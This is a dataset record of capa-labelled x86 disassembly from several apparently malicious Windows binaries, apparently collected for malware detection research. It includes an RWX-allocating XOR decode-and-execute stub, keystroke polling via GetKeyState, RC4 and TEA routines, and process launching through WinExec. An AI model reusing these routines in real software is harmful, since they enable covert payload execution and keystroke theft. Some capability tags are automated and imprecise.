joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d739663
Capabilities:
Accept command line arguments

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x6d74dbf4]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x28
mov eax, 0x6d744cc7
call fcn.6d73a2d2
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov esi, 0x20019
push esi
push str.SOFTWARE
push SysStringLen
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.6d740290
test eax, eax
je 0x6d739704
lea ecx, [ebp - 0x24]
call fcn.6d731078
lea ecx, [ebp - 0x18]
call fcn.6d731078
lea ecx, [ebp - 0x30]
call fcn.6d731078
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.6d73a2c3
add ebp, 0x104
leave
ret
mov dword [ebp - 0x34], 0x100
xor edi, edi
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push str.etscp
push eax
call fcn.6d73b080
pop ecx
pop ecx
push esi
lea ecx, [ebp - 0x18]
test eax, eax
je 0x6d739776
push str.Netscape
push dword [ebp - 0x30]
call fcn.6d740290
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d7396ca
push esi
push str.Netscape_6
push dword [ebp - 0x18]
call fcn.6d740290
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d7396ca
lea eax, [ebp - 0x34]
push eax
push 0x6d746a5c
lea eax, [ebp]
push eax
call fcn.6d740290
test eax, eax
jne 0x6d7396c7
push 0x6d746a6c
jmp 0x6d7397be
push str.mozilla.org
push dword [ebp - 0x30]
call fcn.6d740290
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d7396ca
push esi
push str.Mozilla
push dword [ebp - 0x18]
call fcn.6d740290
test eax, eax
jne 0x6d7397cc
lea eax, [ebp - 0x34]
push eax
push str.CurrentVersion
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x24]
call fcn.6d740290
test eax, eax
jne 0x6d7397cc
push 0x6d746a94
lea eax, [ebp]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d7397cf
xor edi, edi
inc edi
mov eax, edi
dec eax
mov byte [0x6d74eaf0], bl
je 0x6d7397f9
lea ecx, [ebp - 0x24]
call fcn.6d731078
lea ecx, [ebp - 0x18]
call fcn.6d731078
lea ecx, [ebp - 0x30]
call fcn.6d731078
mov eax, ebx
jmp 0x6d7396e1
push str.jpioji.dll
push 0x6d74eaf0
call dword [sym.imp.kernel32.dll_lstrcatA]
mov esi, 0x6d7455e8
mov edi, 0x6d74eae0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor ebx, ebx
movsd dword es:[edi], dword [esi]
inc ebx
jmp 0x6d7397da
Function at 0x6d73981c
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x44d4]
mov eax, 0x44d4
call fcn.6d73ad00
push 0xffffffffffffffff
push 0x6d744cf7
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x6d74dbf4]
xor eax, ebp
mov dword [ebp + 0x44d0], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp + 0x43cd]
push ebx
push eax
mov byte [ebp + 0x43cc], bl
call fcn.6d73a3a0
push esi
lea eax, [ebp + 0x42c9]
push ebx
push eax
mov byte [ebp + 0x42c8], bl
call fcn.6d73a3a0
push 0x1f9f
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.6d73a3a0
push 0x2327
lea eax, [ebp + 0x1fa1]
push ebx
push eax
mov byte [ebp + 0x1fa0], bl
call fcn.6d73a3a0
add esp, 0x30
inc esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
push 0x20019
push str.SOFTWAREJavaSoftJava_Runtime_Environment1.7.0
push SysStringLen
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call fcn.6d740290
lea ecx, [ebp - 0x18]
test eax, eax
je 0x6d73990b
call fcn.6d731078
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp + 0x44d0]
xor ecx, ebp
call fcn.6d73a2c3
add ebp, 0x44d4
leave
ret
lea eax, [ebp - 0x1c]
push eax
push str.JavaHome
lea eax, [ebp + 0x43cc]
push eax
call fcn.6d740290
test eax, eax
je 0x6d739930
lea ecx, [ebp - 0x18]
call fcn.6d731078
mov eax, ebx
jmp 0x6d7398e9
push esi
lea eax, [ebp + 0x42c8]
push eax
lea eax, [ebp + 0x43cc]
push eax
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
push 0x1fa0
lea eax, [ebp]
push eax
push 0x6d746ad8
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
lea eax, [ebp]
push eax
lea eax, [ebp + 0x42c8]
push eax
lea eax, [ebp + 0x1fa0]
push str._s_bin__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp + 0x1fa0]
push eax
push str.PATH
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor ebx, ebx
inc ebx
jmp 0x6d739924

Function at 0x6d739ca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d74ec1c], 0
push esi
push edi
jne 0x6d739c16
call fcn.6d739b82
test eax, eax
je 0x6d739c5b
mov eax, dword [0x6d74ec1c]
cmp eax, 1
jne 0x6d739c37
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d739c5b
jmp 0x6d739c9d
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d739c9d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d739c5f
xor eax, eax
jmp 0x6d739c9d
mov eax, dword [esi]
push dword [0x6d74ec1c]
call edi
mov edi, eax
test edi, edi
je 0x6d739c81
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d739c9d
lea edi, [esi + 0xff0]
push esi
push dword [0x6d74ec1c]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d739c87
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d739c02
Function at 0x6d73a2c3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d74dbf4]
jne 0x6d73a2cd
repz ret
jmp fcn.6d73c78c

Function at 0x6d740290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d74029f
pop dword [ebp - 0x44]
mov eax, 0x6d74029f
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3912a
push 0
mov eax, 0x225c36a4
add eax, 0x4b181a20
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x445c
mov edi, eax
mov ebx, 0xa5922a69
sub ebx, 0x381c8269
add ebx, dword [ebp - 0x44]
mov esi, 0x9ceaac94
add dword [ebp - 0x38], 0xcede319f
mov edx, dword [ebx]
xor edx, esi
sub dword [ebp - 0x20], eax
mov dword [edi], edx
add edi, 0xff3d807e
sub edi, 0xff3d807a
add ebx, 0xf9270f91
sub ebx, 0xf9270f8d
loop 0x6d7402ed
add eax, 0x10443
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf9ed10cd
add ecx, 0x7385ef33
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x41990d
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov edi, eax
mov eax, dword [esi + 4]
bswap eax
mov ebx, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp + 8], eax
mov eax, dword [ebx + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x41992c
mov ebx, dword [ebp + 8]
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x419948
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x422ff1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov dword [ebp + 8], eax
mov ebx, dword [esi + 4]
bswap ebx
mov edi, dword [ebp + 0xc]
xor esi, esi
mov eax, dword [edi + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x42300e
mov edi, dword [ebp + 8]
xor edx, edx
lea esi, [edx + 0x10]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x423025
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x494e79
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
sub esp, 0x14
mov eax, dword [edx]
push ebx
mov dword [esp + 0x14], ecx
mov ebx, 0x10
mov ecx, dword [esp + 0x1c]
push ebp
push esi
mov esi, dword [edx + 4]
mov edx, dword [ecx + 4]
mov dword [esp + 0xc], edx
mov edx, dword [ecx]
mov ebp, dword [esp + 0xc]
mov dword [esp + 0x10], edx
mov edx, dword [ecx + 0xc]
mov ecx, dword [ecx + 8]
push edi
bswap esi
bswap eax
mov edi, 0x9e3779b9
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov edx, esi
mov ecx, esi
shr edx, 5
shl ecx, 4
add edx, ebp
add ecx, dword [esp + 0x14]
xor edx, ecx
lea ecx, [esi + edi]
xor edx, ecx
add eax, edx
mov edx, eax
mov ecx, eax
shl edx, 4
add edx, dword [esp + 0x18]
shr ecx, 5
add ecx, dword [esp + 0x1c]
xor edx, ecx
lea ecx, [eax + edi]
xor edx, ecx
lea edi, [edi - 0x61c88647]
add esi, edx
dec ebx
jne 0x494eba
mov ebp, dword [esp + 0x20]
bswap esi
pop edi
bswap eax
mov dword [ebp + 4], esi
mov dword [ebp], eax
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x4db130
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5b79eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.005a9e39
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4db1b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.005a71d0
mov eax, dword [eax]
push 0x704d90
push eax
call fcn.0058c0e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005aa0c4
test bl, bl
je 0x4db1b2
push 0x704d90
lea ecx, [esp + 0xc]
call fcn.005aa4a0
push 0x704d9c
lea ecx, [esp + 0xc]
call fcn.005aa4a0
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4db1ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005aa0c4
jmp 0x4db2b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4db272
lea edx, [esp + 0x7c]
push 0x704d98
push edx
call fcn.0058c0e4
add esp, 8
test eax, eax
je 0x4db272
lea eax, [esp + 0x7c]
push 0x704d94
push eax
call fcn.0058c0e4
add esp, 8
test eax, eax
je 0x4db272
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4db202
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005aa0c4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4dc9c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4dca22
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4dca30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5b7b8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x72b568]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4dcb68
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4dca96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005aa0c4
xor eax, eax
jmp 0x4dcbdf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.005aa24d
push esi
lea ecx, [esp + 0xc]
call fcn.005aa4dc
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x704de8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4dcbbd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004dc9c0
test eax, eax
jne 0x4dcbbd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004dc9c0
test eax, eax
jne 0x4dcbbd
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0058d2d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4dcb9c
lea ecx, [esp + 0x14]
push 0x704dc0
push ecx
call fcn.0058d250
mov esi, eax
add esp, 8
test esi, esi
jne 0x4dcb9c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4dcb9f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.005aa1fd
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4dcaae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005aa0c4
xor eax, eax
jmp 0x4dcbdf
mov byte [esi], 0
push 0x704dbc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005aa0c4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x4e7e76
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x4e7e9e
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret
Function at 0x4f2530
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4f259e
cmp si, 0x69
ja 0x4f259e
add esi, 0xffd0
cmp si, 0x11
je 0x4f256e
push 0x11
call edi
test ax, ax
jge 0x4f256e
or esi, 0x2000
cmp si, 0x10
je 0x4f2583
push 0x10
call edi
test ax, ax
jge 0x4f2583
or esi, 0x4000
cmp si, 0x12
je 0x4f2598
push 0x12
call edi
test ax, ax
jge 0x4f2598
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4f25ab
mov esi, 0xbd
jmp 0x4f255f
cmp si, 0x6e
jne 0x4f25b8
mov esi, 0xbe
jmp 0x4f255f
cmp si, 0x6f
jne 0x4f2559
mov esi, 0xbf
jmp 0x4f255f

Function at 0x4f44f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x73c860]
xor edx, edx
cmp eax, edx
jne 0x4f4516
xor eax, eax
mov byte [eax + 0x73c760], al
inc eax
cmp eax, 0x100
jl 0x4f44fe
mov dword [0x73c860], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x73c760
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4f45a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4f457a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4f4548
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4f4620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4f4673
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4f465a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4fbe00
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4fbf98
cmp ebp, ebx
jle 0x4fbf98
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4fbe5e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4fbe65
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4fbe74
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4fbe7b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.005a9e05
add esp, 4
cmp eax, ebx
je 0x4fbe9c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.005a9e05
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4fbf8e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4fbf75
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4fbf61
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4fbf56
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4fbf64
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4fbf64
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4fbf00
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4fbef1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4ff2f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5b9978
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4ff329
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.005b1908
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.005b1990
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004ff3b0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.005b19cd
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x503a10
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x5ba1a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00504590
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x503ab9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.005036a0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.005b0bb9
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00519970
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
